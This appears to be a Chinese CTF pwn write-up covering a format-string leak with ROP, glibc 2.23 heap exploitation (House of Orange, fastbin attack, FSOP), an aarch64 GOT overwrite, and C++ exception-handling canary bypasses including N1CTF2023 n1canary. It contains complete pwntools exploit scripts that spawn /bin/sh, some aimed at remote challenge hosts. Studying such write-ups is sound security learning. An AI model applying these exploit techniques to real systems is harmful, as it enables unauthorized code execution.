棧上資料大放送,甚至不需要構造 payload,輸入數字作為對應偏移即可洩出對應資料
fgets(s, 5, stdin);
v0 = strtol(s, 0LL, 10);
snprintf(format, 0x64uLL, "Your magic number is: %%%d$llx\n", v0);
printf(format);
off-by-null,可以改 rbp 低位為 \x00
,效果是在 echo_inner()
函式返回時有一定機率能夠抬棧,此時若在上方佈置了 ROP 鏈,則在上層函式 echo()
返回時就能執行到佈置的鏈子,在 ROP 鏈前新增儘可能多的滑板指令可以提高成功率
int __fastcall echo_inner(_BYTE *a1, int a2)
{
a1[(int)fread(a1, 1uLL, a2, stdin)] = 0;
puts("You said:");
return printf("%s", a1);
}
exp 如下,跑不通多跑幾遍
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['110.40.35.73', 33711]
pwnfile = './pwn'
elf = ELF(pwnfile)
libcfile = './libc-2.27.so'
libc = ELF(libcfile)
# libc = elf.libc
def loginfo(a, b=None):
if b is None:
log.info(a)
else:
log.info(a + hex(b))
if len(sys.argv) == 2:
if 'p' in sys.argv[1]:
p = process(pwnfile)
elif 'r' in sys.argv[1]:
p = remote(ip_port[0], ip_port[1])
else:
loginfo("INVALID_PARAMETER")
sys.exit(1)
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
# debug('b *$rebase(0x141E)')
idx = ''
p.sendlineafter('continue\n', idx)
idx += '6'
p.sendlineafter('number: ', idx)
p.recvuntil('number is: ')
libc_addr = int(p.recvline().strip(), 16)
# print(libc_addr)
libc_base = libc_addr - 0x3ec7e3
loginfo('libc_base: ', libc_base)
p.sendlineafter('(max 256)? ', '256')
pop_rdi_ret = libc_base + 0x2164f
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()
ret = libc_base + 0x8aa
rop = p64(pop_rdi_ret)
rop += p64(binsh)
rop += p64(system)
payload = p64(ret)*(32-4) + rop + p64(0)
p.send(payload)
exp()
p.interactive()
'''
pwndbg> libc
libc : 0x7ff41a3ec000
pwndbg> dist 0x7ff41a7d87e3 0x7ff41a3ec000
0x7ff41a7d87e3->0x7ff41a3ec000 is -0x3ec7e3 bytes (-0x7d8fd words)
'''
easy_heap
2.23 的選單堆,esit()
函式處限制輸入長度的 size 可控,能夠實現很大程度的堆溢位
unsigned __int64 edit()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
_DWORD nbytes[3]; // [rsp+4h] [rbp-Ch] BYREF
*(_QWORD *)&nbytes[1] = __readfsqword(0x28u);
v1 = 0;
nbytes[0] = 0;
puts("Index :");
__isoc99_scanf("%d", &v1);
puts("Size :");
__isoc99_scanf("%d", nbytes);
if ( nbytes[0] > 0x1000u )
{
puts("too large");
exit(0);
}
puts("Content :");
read(0, *((void **)&chunk_ptr + v1), nbytes[0]);
return __readfsqword(0x28u) ^ *(_QWORD *)&nbytes[1];
}
難點在於 show()
函式處只能輸出 8 個位元組,所以想洩出 heap_base
不容易,以及沒有 delete()
函式
unsigned __int64 show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts("Index :");
__isoc99_scanf("%d", &v1);
write(1, *((const void **)&chunk_ptr + v1), 8uLL);
return __readfsqword(0x28u) ^ v2;
}
解法就是打 House of orange
將 top_chunk
鏈入到 unsorted bin
,再切割這個堆塊踩出 libc 地址。然後用同樣的辦法,將新的 top_chunk
鏈入到 fastbin
,其中要注意的是需要控制好偽造的 top_chunk_size
的大小和堆塊被切割後的剩餘大小,才能被鏈入目標 bin 鏈
偽造的
top_chunk_size
欄位需要符合下列條件:
top_chunk_size
要大於MINSIZE
top_chunk_size
欄位的prev_inuse = 1
- 堆空間存在頁對齊機制,要滿足
(top_chunk_addr + top_chunk_size) & 0xfff = 0x000
若偽造的
size
欄位不能滿足上述條件,觸發報錯如下pwn: malloc.c:2401: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.
然後利用堆溢位修改 fd 指標,打 fastbin attack
,exp 如下
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['127.0.0.1', 9999]
pwnfile = './pwn'
elf = ELF(pwnfile)
libcfile = './libc-2.23.so'
libc = ELF(libcfile)
# libc = elf.libc
def loginfo(a, b=None):
if b is None:
log.info(a)
else:
log.info(a + hex(b))
if len(sys.argv) == 2:
if 'p' in sys.argv[1]:
p = process(pwnfile)
elif 'r' in sys.argv[1]:
p = remote(ip_port[0], ip_port[1])
else:
loginfo("INVALID_PARAMETER")
sys.exit(1)
def recv64_addr():
return u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def menu(index):
p.sendlineafter('>\n', str(index))
def add(size, content='a'):
menu(1)
p.sendlineafter('Size :\n', str(size))
p.sendafter('Content :\n', content)
def edit(index, size, content='a'):
menu(2)
p.sendlineafter('Index :\n', str(index))
p.sendlineafter('Size :\n', str(size))
p.sendafter('Content :\n', content)
def show(index):
menu(3)
p.sendlineafter('Index :\n', str(index))
def exp():
# debug()
add(0x68) # 0
payload = 'a'*0x68 + p64(0xf91)
edit(0, len(payload), payload)
add(0x1000) # 1
add(0x10) # 2
show(2)
libc_addr = recv64_addr()
libc_base = libc_addr - 0x3c5161
one_gadget = [0x4527a, 0xf03a4, 0xf1247]
shell = libc_base + one_gadget[2]
malloc_hook = libc_base + libc.sym['__malloc_hook']
# pause()
add(0xf48) # 3, chunk empty
# pause()
add(0x68) # 4
payload = 'a'*0x68 + p64(0xf81)
edit(4, 0x70, payload)
add(0xf00-0x20) # 5, edit this chunk
add(0x100) # 6
payload = 'a'*(0xf00-0x20+0x8) + p64(0x71) + p64(malloc_hook - 0x23)
edit(5, len(payload), payload)
add(0x68)
payload = p8(0)*3 + p64(0)*2 + p64(shell)
add(0x68, payload)
menu(1)
p.sendlineafter('Size :\n', str(1))
exp()
p.interactive()
當然也可以使用常規的無 free()
函式的堆題的打法,House of orange + unsorted bin attack + FSOP
,這樣的話難點在於需要一個堆地址,exp 如下
'''
huan_attack_pwn
'''
import sys
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
binary = './pwn'
libc = './libc-2.23.so'
host, port = "110.40.35.73:33786".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
'\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
r = remote(host, int(port))
else:
r = process(binary)
libc = ELF(libc)
elf = ELF(binary)
default = 1
se = lambda data : r.send(data)
sa = lambda delim, data : r.sendafter(delim, data)
sl = lambda data : r.sendline(data)
sla = lambda delim, data : r.sendlineafter(delim, data)
rc = lambda numb=4096 : r.recv(numb)
rl = lambda time=default : r.recvline(timeout=time)
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time)
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True)
uu32 = lambda data : u32(data.ljust(4, b'\0'))
uu64 = lambda data : u64(data.ljust(8, b'\0'))
lic = lambda data : uu64(ru(data)[-6:])
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl = lambda var_name : print(len(var_name))
debug = lambda command='' : gdb.attach(r,command)
it = lambda : r.interactive()
def Mea(idx):
sla(b'>\n',str(idx))
def Add(sz,ct=b'a'):
Mea(1)
sla(b'Size :\n',str(sz))
sla(b'Content :\n',ct)
def Edi(idx,sz,ct):
Mea(2)
sla(b'Index :\n',str(idx))
sla(b'Size :\n',str(sz))
sla(b'Content :\n',ct)
# sleep(1)
def show(idx):
Mea(3)
sla(b'Index :\n',str(idx))
payload=b'a'*(0x408)+p64(0xbf1)
Add((0x400))
Edi(0,len(payload),payload)
Add(0x1000)
Add(0x400)
show(2)
libc_base = u64(rc(6).ljust(8,b'\0')) - 0x61 - 0x3C4B20 + 16672
main_arena = (0x7ffff7bc4b20 - libc_base) + libc_base
io_list_all=libc_base+libc.symbols['_IO_list_all']
sys_addr=libc_base+libc.symbols['system']
# lg('libc_base')
payload=padding(0x400)+p64(0)+p64(0x4b1)
Edi(2,len(payload),payload)
Add(0X600)
Add(0X500)
# pause()
payload=b'a'*(0x508)+p64(0x4d1)
Edi(4,len(payload),payload)
Add(0x500)
payload=b'a'*(0x508)+p64(0xaf1)
Edi(5,len(payload),payload)
Add(0x1000)
# Add(0xac1)
# Add(0xac1)
Add(0X500)
Add(0x5b0)
Add(0x500)
payload=b'a'*(0x508)+p64(0xae1)
Edi(9,len(payload),payload)
Add(0x1000)
Add(0x600)
Add(0x521)
Add(0x4a0)
Add(0x500)
Add(0x500)
Add(0x500)
Add(0x500)
show(13)
heapbase = u64(rc(3).ljust(8,b'\0')) - 0x1ba61
lg('main_arena')
lg('heapbase')
lg('libc_base')
# pause()
p = b'B' * (0x400-0x20)
p += p64(0)
p += p64(0x21)
p += b'B' * 0x10
# fake file
f = b'/bin/sh\x00' # flag overflow arg -> system('/bin/sh')
f += p64(0x61) # _IO_read_ptr small bin size
# unsoted bin attack
f += p64(0) # _IO_read_end)
f += p64(io_list_all - 0x10) # _IO_read_base
#bypass check
# 使fp->_IO_write_base < fp->_IO_write_ptr繞過檢查
f += p64(0) # _IO_write_base
f += p64(1) # _IO_write_ptr
f += p64(0) # _IO_write_end
f += p64(0) # _IO_buf_base
f += p64(0) # _IO_buf_end
f += p64(0) # _IO_save_base
f += p64(0) # _IO_backup_base
f += p64(0) # _IO_save_end
f += p64(0) # *_markers
f += p64(0) # *_chain
f += p32(0) # _fileno
f += p32(0) # _flags2
f += p64(1) # _old_offset
f += p16(2) # ushort _cur_colum;
f += p8(3) # char _vtable_offset
f += p8(4) # char _shrotbuf[1]
f += p32(0) # null for alignment
f += p64(0) # _offset
f += p64(6) # _codecvt
f += p64(0) # _wide_data
f += p64(0) # _freeres_list
f += p64(0) # _freeres_buf
f += p64(0) # __pad5
f += p32(0) # _mode 為了繞過檢查,fp->mode <=0 ((addr + 0xc8) <= 0)
f += p32(0) # _unused2
p += f
p += p64(0) * 3 # alignment to vtable
p += p64(heapbase + 0x23010+8) # vtable指向自己
p += p64(0) * 2
p += p64(sys_addr) # _IO_overflow 位置改為system
payload = padding(0x4f8) + p64(0x181)
Add(0x4f8)
Edi(18,len(payload),payload)
Add(0x400)
Edi(19,len(p),p)
# debug()
Mea(1)
sla(b'Size :\n',str(0x1000))
it()
something_changed
程式保護如下,一個 AARCH64
架構的程式,GOT 表可寫,開了 canary 保護
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
存在棧溢位,格式化字串漏洞,以及後門函式
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v4; // x19
int i; // [xsp+FCCh] [xbp+2Ch]
char v6[40]; // [xsp+FD0h] [xbp+30h] BYREF
__int64 v7; // [xsp+FF8h] [xbp+58h]
v7 = _bss_start;
read(0, v6, 0x50uLL);
for ( i = 0; ; ++i )
{
v4 = i;
if ( v4 >= strlen(v6) )
break;
if ( (char *)(unsigned __int8)v6[i] == "$" )
return 0;
}
printf(v6);
return 0;
}
__int64 backdoor()
{
__int64 v1; // [xsp+18h] [xbp+18h]
v1 = _bss_start;
system("/bin/sh");
return v1 ^ _bss_start;
}
程式碼裡看似是禁用了 "$"
符,但是除錯時可以斷在 0x400820
這裡,看看 cmp
指令比較的兩個暫存器的值,X0
是指向 "$"
符的指標
下面是 gpt 的解釋,不清楚是出題人的疏漏還是有意為之,總之可以不用去管 "$"
符這個限制
PoC 測出偏移是 14,然後直接使用 fmtstr_payload
這個輪子將 __stack_chk_fail()
函式的 GOT 表改成後門地址
exp 如下
from pwn import *
context(arch='aarch64', os='linux', log_level='debug')
p = process(['qemu-aarch64-static', './pwn'])
def exp():
payload = fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
p.sendline(payload)
exp()
p.interactive()
順便記錄下相關的知識點
當時新的 wsl 虛擬機器遇到了如下報錯
$ qemu-aarch64-static ./pwn
qemu-aarch64-static: Could not open '/lib/ld-linux-aarch64.so.1': No such file or directory
解決方法如下
$ sudo apt-get install gcc-10-aarch64-linux-gnu
$ sudo cp /usr/aarch64-linux-gnu/lib/* /lib/
在執行於 x86_64
架構上的 Ubuntu
系統裡檢視 arm
交叉編譯的可執行檔案依賴的動態庫
$ readelf -a ./pwn | grep "Shared"
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
這道異構的除錯方法如下,第一個終端執行指令碼,注意修改建立連線的語句 p = process(['qemu-aarch64-static', '-g', '1234', './pwn'])
,然後另起一個終端使用 GDB
連上去
另外
GDB
預設會自動檢測並使用目標系統的位元組序模式,但以防萬一也可以自行設定小端序pwndbg> set endian little
異構程式的除錯和相關指令集學習詳見 PowerPC&ARM架構下的pwn初探
$ gdb-multiarch -q -ex "set architecture aarch64" ./pwn
pwndbg> add-symbol-file ./libc.so.6
pwndbg> set endian little
pwndbg> target remote :1234
嫌另起終端麻煩的話可以嘗試下面的 exp,開啟新世界大門嘻
from pwn import *
context(arch='aarch64', os='linux', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
# p = process(['qemu-aarch64-static', './pwn'])
p = process(['qemu-aarch64-static', '-g', '1234', './pwn'])
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
debug('''
# add-symbol-file ./libc.so.6
target remote :1234
b *0x400854
c
''')
payload = fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
p.sendline(payload)
exp()
p.interactive()
C++異常處理
0x00 前置知識
本節內容針對 Linux 下的 C++ 異常處理機制,重點在於研究如何在異常處理流程中利用溢位漏洞,所以不對異常處理及 unwind 的過程做詳細分析,只做簡單介紹
異常機制中主要的三個關鍵字:throw 丟擲異常,try 包含異常模組, catch 捕捉丟擲的異常,它們一起構成了由 “丟擲->捕捉->回退” 等步驟組成的整套異常處理機制。當一個異常被丟擲時,就會立即引發 C++ 的異常捕獲機制。異常被丟擲後如果在當前函式內沒能被 catch,該異常就會沿著函式的呼叫鏈繼續往上拋,在呼叫鏈上的每一個函式中嘗試找到相應的 catch 並執行其程式碼塊,直到走完整個呼叫鏈。如果最終還是沒能找到相應的 catch,那麼程式會呼叫 std::terminate()
,這個函式預設是把程式 abort
其中,從程式丟擲異常開始,沿著函式的呼叫鏈找相應的 catch 程式碼塊的整個過程叫作棧回退 stack
然後除錯一個 demo 來加深對異常處理機制的理解,目的是去驗證下列操作的可行性:
- 透過篡改 rbp 可以實現類似棧遷移的效果,來控制程式執行流 ROP
- unwind 會檢測在呼叫鏈上的函式里是否有 catch handler,要有能捕捉對應型別異常的 catch 塊;透過劫持 ret 可以執行到目標函式的 catch 程式碼塊,但是前提是要需要擁有合法的 rbp
// exception.cpp
// g++ exception.cpp -o exc -no-pie -fPIC
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void backdoor()
{
try
{
printf("We have never called this backdoor!");
}
catch (const char *s)
{
printf("[!] Backdoor has catched the exception: %s\n", s);
system("/bin/sh");
}
}
class x
{
public:
char buf[0x10];
x(void)
{
// printf("x:x() called!\n");
}
~x(void)
{
// printf("x:~x() called!\n");
}
};
void input()
{
x tmp;
printf("[!] enter your input:");
fflush(stdout);
int count = 0x100;
size_t len = read(0, tmp.buf, count);
if (len > 0x10)
{
throw "Buffer overflow.";
}
printf("[+] input() return.\n");
}
int main()
{
try
{
input();
printf("--------------------------------------\n");
throw 1;
}
catch (int x)
{
printf("[-] Int: %d\n", x);
}
catch (const char *s)
{
printf("[-] String: %s\n", s);
}
printf("[+] main() return.\n");
return 0;
}
編譯出來的可執行檔案的保護如下,開了 canary 保護
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
輸入點 buf 距離 rbp 的距離是0x30
所以測試輸入長度分別為0x31和0x39的 PoC,發現會報不同的 crash,合理推測棧上的資料(例如 ret, rbp)會影響異常處理的流程
ve1kcon@wsl:~$ cyclic 48
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
ve1kcon@wsl:~$ cyclic 56
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa
能發現無論怎麼樣都不會輸出程式裡寫在 input()
函式里的 [+] input() return.
這是因為異常處理時從 __cxa_throw()
開始,之後進行 unwind, cleanup, handler, 程式不會再執行發生異常所在函式的剩餘部分,會沿著函式呼叫鏈往回找能處理對應異常的最近的函式,然後回退至此函式執行其 catch 塊後跟著往下執行,途徑的函式的剩餘部分也不會再執行,自然不會執行到出現異常的函式的 throw 後面的語句,更不會執行到這些函式的 ret
這裡就能丟擲一個思考了:對 canary 的檢測一般在最後的函式返回處,那麼在執行異常處理流程時不就能跳過
stack_check_fail()
這個呼叫了嘛?
下面利用 poc1 = padding + '\x01'
覆蓋 rbp 值,可以將斷點斷在 call _read
指令後面一點的位置,這樣就能斷下來了,在這裡觀察到 rbp 的低一位元組已被成功篡改為 '\x01'
繼續執行至程式報錯的位置,最後在 0x401506
這條 ret 指令處出了問題,是錯誤的返回地址導致的,記錄下這個指令地址,後續可以將斷點打在這裡,觀察是否能成功控制程式流
根據這個指令的地址,可以在 IDA 中定位到這是異常處理結束後最終的 ret 指令,所以可以確定是在執行 main 的 handler 時 crash,那麼上述報錯出現的原因其實就很明顯了,是因為最後執行的 leave; ret
使得 ret 的地址變成了 [rbp+8]
,導致不合法的返回地址。這也意味著在 handler 裡就能夠完成棧遷移,所以可以嘗試透過篡改 rbp 實現控制程式執行提前佈置好的 ROP 鏈
接下來嘗試劫持程式去執行 GOT 表裡的函式
.got.plt:0000000000404040 off_404040 dq offset fflush ; DATA XREF: _fflush+4↑r
.got.plt:0000000000404048 off_404048 dq offset read ; DATA XREF: _read+4↑r
.got.plt:0000000000404050 off_404050 dq offset puts ; DATA XREF: _puts+4↑r
.got.plt:0000000000404058 off_404058 dq offset __cxa_end_catch
利用 poc2 = padding + p64(0x404050-0x8)
,執行到上述斷點處發現成功呼叫到了 puts
函式
證明操作1可行
但這種利用方式只適用於 “透過將 old_rbp 儲存於棧中來保留現場” 的函式呼叫約定,以及需要出現異常的函式的 caller function 要存在處理對應異常的程式碼塊,否則也會走到 terminate
為了除錯上述說法,對 demo 作了修改,主要改動如下
void test() { x tmp; printf("[!] enter your input:"); fflush(stdout); int count = 0x100; size_t len = read(0, tmp.buf, count); if (len > 0x10) { throw "Buffer overflow."; } printf("[+] test() return.\n"); } void input() { test(); printf("[+] input() return.\n"); }
這回同樣是使用
poc2
,但 crash 了對 demo 重新修改的部分如下
void input() { try { test(); } catch (const char *s) { printf("[-] String(From input): %s\n", s); } printf("[+] input() return.\n"); }
復現成功,這次是在 input 的 handler 裡被劫持,而非在 main 了
但是噢,如果是透過打返回地址劫持到另外一個函式的異常處理模組,是沒有 “出現異常的函式的 caller function 要存在處理對應異常的程式碼塊” 這層限制的,但這也是後話了
由於呼叫鏈 __cxa_throw
-> _Unwind_RaiseException
,在 unwind 函式里會取執行時棧上的返回地址 callee ret 來對整個呼叫鏈進行檢查,它會在鏈上的函式里搜尋 catch handler
,若所有函式中都無對應型別的 catch 塊,就會呼叫 __teminate()
終止程序。
利用 poc3 = poc2 + 'b'*8
除錯一下後面的 unwind 函式的過程,一直執行至 _Unwind_RaiseException+463
發生了 crash,合理猜測是在這呼叫的函式里作的檢測,所有可以觀察下此時傳參的情況,下斷方式是 b *(&_Unwind_RaiseException+463)
這個地方迴圈執行了幾次
第一次,rdx -> 0x4000000000000000
第二次,rdx -> 0x4013a7 (input()+162)
第三次,rdx -> 0x6262626262626262 ('bbbbbbbb')
再琢磨下異常處理機制,能夠發現另外一個利用點,就是假如函式A內有能夠處理對應異常的 catch 塊,是否可以透過影響執行時棧的函式呼叫鏈,即更改某 callee function ret 地址,從而能夠成功執行到函式A的 handler 呢
下面嘗試透過直接劫持 input()
函式的 ret, 可以發現在原始碼中有定義 backdoor()
函式,但程式中並沒有一處存在對該後門函式的引用,利用 poc4 = poc2 + p64(0x401292+1)
嘗試觸發後門
這裡將返回地址填充成了
backdoor()
函式里 try 程式碼塊裡的地址,它是一個範圍,經測試能夠成功利用的是一個左開右不確定的區間(x)
.text:0000000000401283 lea rax, format ; "We have never called this backdoor!"
.text:000000000040128A mov rdi, rax ; format
.text:000000000040128D mov eax, 0
.text:0000000000401292 ; try {
.text:0000000000401292 call _printf
.text:0000000000401292 ; } // starts at 401292
.text:0000000000401297 jmp short loc_4012FF
可以看見程式執行了後門函式的異常處理模組,復現成功,成功執行到了一個從未引用過的函式,而且程式從始至終都是開了 canary 保護的,這直接造成的棧溢位卻能繞過 stack_check_fail()
這個函式對棧進行檢測
exp 如下
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './exc'
p = process(pwnfile)
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
# debug('b *0x401371') # call _read
# b __cxa_throw@plt
# b *0x401506 # handler ret
# b *(&_Unwind_RaiseException+463) # check ret
test = 'a'*5
padding = 'a'*0x30
# poc = padding + '\n'
poc1 = padding + '\x01'
poc2 = padding + p64(0x404050-0x8)
poc3 = poc2 + 'b'*8
poc4 = poc2 + p64(0x401292+1)
p.sendafter('input:', poc4)
exp()
p.interactive()
0x01 N1CTF2023_n1canary
2023/10
程式保護如下
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
非常具有迷惑性的一道題,出題人自行實現了一個 canary,並將它佈置在系統 canary 上面 0x10
的地方,但所有 canary 相關的檢測其實都是繞不過的,漏洞點是 launch()
函式處的棧溢位,觸發點是 raise()
函式處的異常丟擲,異常未能正確被捕獲並處理,最終是能夠避開對棧上 canary 的驗證並利用解構函式 ROP
main()
函式邏輯如下
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 v4; // rax
_QWORD v6[3]; // [rsp+0h] [rbp-18h] BYREF
v6[1] = __readfsqword(0x28u);
setbuf(stdin, 0LL, envp);
setbuf(stdout, 0LL, v3);
init_canary(); // canary init
std::make_unique<BOFApp>((__int64)v6); // *v6 -> vtable for BOFApp+16 (0x4ed510)
v4 = std::unique_ptr<BOFApp>::operator->((__int64)v6); // v4 = v6
(*(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 16LL))(v4); // call 0x403552 (BOFApp::launch())
std::unique_ptr<BOFApp>::~unique_ptr((__int64)v6);
return 0;
}
初始化 sys_canary
並讀取使用者輸入的64個位元組作為 user_canary
,用來生成自定義 canary,第一個輸入點的 user_canary
是往 .bss
段上寫的
__int64 init_canary(void)
{
if ( getrandom(&sys_canary, 64LL, 0LL) != 64 )
raise("canary init error");
puts("To increase entropy, give me your canary");
return readall<unsigned long long [8]>(&user_canary);
}
__int64 __fastcall ProtectedBuffer<64ul>::getCanary(unsigned __int64 a1)
{
return user_canary[(a1 >> 4) & 7] ^ sys_canary[(a1 >> 4) & 7];
}
這段程式碼實現了 BOFApp
類的建構函式,首先呼叫基類建構函式實現了 BOFApp
物件基類部分的初始化,然後將 BOFApp
物件的虛擬函式表指標設定為 off_4ED510
,使得物件能夠正確呼叫其虛擬函式。透過除錯發現,賦值語句執行前 this -> vtable for UnsafeApp+16
,執行後 this -> vtable for BOFApp+16
void __fastcall BOFApp::BOFApp(BOFApp *this)
{
UnsafeApp::UnsafeApp(this);
*(_QWORD *)this = off_4ED510;
}
建立一個 BOFApp
類的例項,然後呼叫 BOFApp
的建構函式初始化物件,跟進後面那個函式發現進行了 *a1 = v1
的操作
__int64 __fastcall std::make_unique<BOFApp>(__int64 a1)
{
BOFApp *v1; // rbx
v1 = (BOFApp *)operator new(8uLL);
*(_QWORD *)v1 = 0LL;
BOFApp::BOFApp(v1);
std::unique_ptr<BOFApp>::unique_ptr<std::default_delete<BOFApp>,void>(a1, v1);
return a1;
}
執行完 std::make_unique<BOFApp>((__int64)v6)
後,棧變數 v6
被重新賦值
於是接下來呼叫的是 BOFApp::launch()
函式
pwndbg> x/20gx 0x4ed510+0x10
0x4ed520 <vtable for BOFApp+32>: 0x0000000000403552 0x0000000000000000
在 IDA 裡計算也是一樣的,執行 (*(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 0x10LL))(v4);
語句,即 call *(0x4ED510+0x10)
.data.rel.ro:00000000004ED510 off_4ED510 dq offset _ZN6BOFAppD2Ev
.data.rel.ro:00000000004ED510 ; DATA XREF: BOFApp::BOFApp(void)+16↑o
.data.rel.ro:00000000004ED510 ; BOFApp::~BOFApp()+9↑o
.data.rel.ro:00000000004ED510 ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED518 dq offset _ZN6BOFAppD0Ev ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED520 dq offset _ZN6BOFApp6launchEv ; BOFApp::launch(void)
最後是物件的解構函式,裡面要重點關注的函式的路徑是 std::unique_ptr<BOFApp>::~unique_ptr()
--> std::default_delete<BOFApp>::operator()(BOFApp*)
,這裡存在函式指標呼叫,這意味著只需要控制 a2
的值就能控制程式流
__int64 __fastcall std::default_delete<BOFApp>::operator()(__int64 a1, __int64 a2)
{
__int64 result; // rax
result = a2;
if ( a2 )
return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a2 + 8LL))(a2);
return result;
}
透過逆向分析和除錯可知引數 a2
與前面提到的棧變數 v6
有關,所以將斷點打在 0x40340D
,正常輸入,除錯一下看傳參情況
檢視虛擬函式表指標 +0x8
位置處指向什麼函式,0x4038b8
再把斷點打在 0x403909
,看到這裡確實呼叫到了上述函式
下面介紹漏洞點
第二個輸入點存在棧溢位,呼叫鏈是 BOFApp::launch(void)
--> ProtectedBuffer<64ul>::mut<BOFApp::launch(void)::{lambda(char *)#1}>(BOFApp::launch(void)::{lambda(char *)#1} const&)
--> BOFApp::launch(void)::{lambda(char *)#1}::operator()(char *)
__int64 __fastcall BOFApp::launch(void)::{lambda(char *)#1}::operator()(
__int64 a1,
__int64 a2,
int a3,
int a4,
int a5,
int a6)
{
return _isoc23_scanf((unsigned int)"%[^\n]", a2, a3, a4, a5, a6, a2, a1);
}
下列是 AI 的解釋
_isoc23_scanf
根據格式字串讀取輸入。格式字串"%[^\n]"
表示讀取所有非換行符的字元,直到遇到換行符為止。這樣寫其實就相當於 c 的 gets() 了。- 輸入儲存:將讀取的輸入儲存在
a2
指向的緩衝區中。a3, a4, a5, a6
是額外引數,可能用於其他目的。
觀察下這個 _isoc23_scanf()
函式,斷點打在 0x403547
處觀察資料寫入的位置
計算輸入點與目標指標的距離為 0x70
所以可以利用上述棧溢位去修改自定義 canary,來觸發異常,棧回退避開對自定義 canary 和系統 canary 的檢測,最後呼叫到解構函式
這樣下來,思路就理清楚了,在 user_canary
處偽造虛擬函式表指向後門函式,然後利用溢位修改儲存在棧上的 BOFApp
物件的虛擬函式表指標,即變數 v6
,在此過程中自定義 canary 一定會被篡改,程式將會在 raise()
函式里丟擲異常,這裡是漏洞的觸發點,呼叫鏈如下
BOFApp::launch(void)
--> ProtectedBuffer<64ul>::mut<BOFApp::launch(void)::{lambda(char *)#1}>(BOFApp::launch(void)::{lambda(char *)#1} const&)
--> ProtectedBuffer<64ul>::check(void)
--> raise(char const*)
bool __fastcall ProtectedBuffer<64ul>::check(unsigned __int64 a1)
{
__int64 v1; // rbx
bool result; // al
v1 = *(_QWORD *)(a1 + 0x48);
result = v1 != ProtectedBuffer<64ul>::getCanary(a1);
if ( result )
raise("*** stack smash detected ***");
return result;
}
void __fastcall __noreturn raise(const char *a1)
{
std::runtime_error *exception; // rbx
puts(a1);
exception = (std::runtime_error *)_cxa_allocate_exception(0x10uLL);
std::runtime_error::runtime_error(exception, a1);
_cxa_throw(exception, (struct type_info *)&`typeinfo for'std::runtime_error, std::runtime_error::~runtime_error);
}
異常處理流程最終呼叫到的解構函式處存在指標呼叫,但此時指標已被我們提前利用溢位資料控好了,造成任意程式碼執行
可以直接動調一下 raise()
函式內部,然後再看看函式返回哪裡呢。可以在一些地方下斷點除錯看看,比如 0x403291
處的丟擲異常,0x403432
處的呼叫解構函式,最後在 0x4038fc
出現 crash,原因是不合法的 RAX
,它的值是 BOFApp
類物件指標 v6
,這是可以利用溢位寫到那的,所以是可控的,繼續往下看後面的彙編,會發現只要控了 RAX
就能夠控到 RDX
,在最後的 call rdx;
處便能造成任意程式碼執行
由於 user_canary
可控,可以嘗試在這裡偽造虛擬函式表並將指標劫持到這,這是構造好的 exp 執行到此處時的引數情況
成功執行到後門函式
另外提一嘴,上面提到了避開 canary 檢測執行到解構函式,筆者是這樣理解的:在程式正常執行時應該是在執行完 launch()
函式後執行解構函式,但在 raise()
函式里卻有異常被丟擲,而且回溯了整條函式呼叫鏈,包括 raise()
函式本身,都沒看見有能處理此異常的 catch
程式碼塊,合理猜測最終將會由 handler 執行解構函式,在此過程中自然也繞過了程式自身的 __stack_chk_fail_local
檢測
其實在建立物件的函式里,建立物件時會有建構函式,函式返回處會有解構函式。但當該函式執行到一半就丟擲了異常時,若在當前函式內不能正常捕捉異常,那這個函式剩下的部分便不會再被執行到了,自然也不會執行到函式返回處的那個解構函式。但是程式依舊是需要去執行解構函式銷燬物件的,達到釋放資源的目的,這種情況下應該是在 handler 中呼叫到解構函式的
